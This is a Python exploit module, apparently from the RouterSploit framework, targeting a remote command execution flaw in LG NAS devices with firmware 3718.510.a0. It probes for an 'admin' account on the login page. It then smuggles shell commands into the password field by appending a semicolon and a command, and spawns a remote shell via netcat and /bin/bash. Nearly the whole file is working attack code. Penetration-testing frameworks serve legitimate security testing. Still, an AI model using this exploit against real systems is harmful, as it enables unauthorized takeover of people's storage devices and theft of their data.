from collections import OrderedDict

from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "LG_NAS_3718.510.a0_RCE",
        "description": "Module exploits LG-NAS Storage Remote Command Execution vulnerability "
                       "in the web-based certificate generator feature.",      
        "authors": (
            "@0x616163",  # vulnerability discovery
            "GH0st3rs",  # routersploit module
        ),
        "references": (
            "https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/",
            "https://www.exploit-db.com/exploits/45109",
        ),
        "devices": (
            "3718.510.a0",
        ),
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def check(self) -> bool:
        # Exploiting this vulnerability requires a valid user account
        # on the target NAS otherwise the vulnerable code is not executed
        parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass'), ('mobile', 'false')])
        response = self.http_request(
            method="POST",
            path="/en/php/login_check.php",
            data=parameters
        )
        if response:
            if response.text == "NG:WRONG PASSWORD\n":
                print_status("Valid user found: admin for %s:%d", self.host, self.port)
                return True
            if response and response.text == "NG:NO USER\n":
                print_status("User not found: admin for %s:%d", self.host, self.port)
        return False

    def execute(self, cmd: str) -> str:
        parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass;' + cmd), ('mobile', 'false')])
        response = self.http_request(
            method="POST", path="/en/php/login_check.php",
            data=parameters, timeout=0.5
        )
        if response and response.status_code == 200:
            return response.text
        return ''

    def run(self):
        if self.check():
            print_success("Target seams %s:%d is vulnerable", self.target, self.port)
            shell(self, architecture='armle', binary="/usr/bin/nc", shell="/bin/bash")
        else:
            print_error("Exploit failed - target %s:%d seems to be not vulnerable", self.target, self.port)
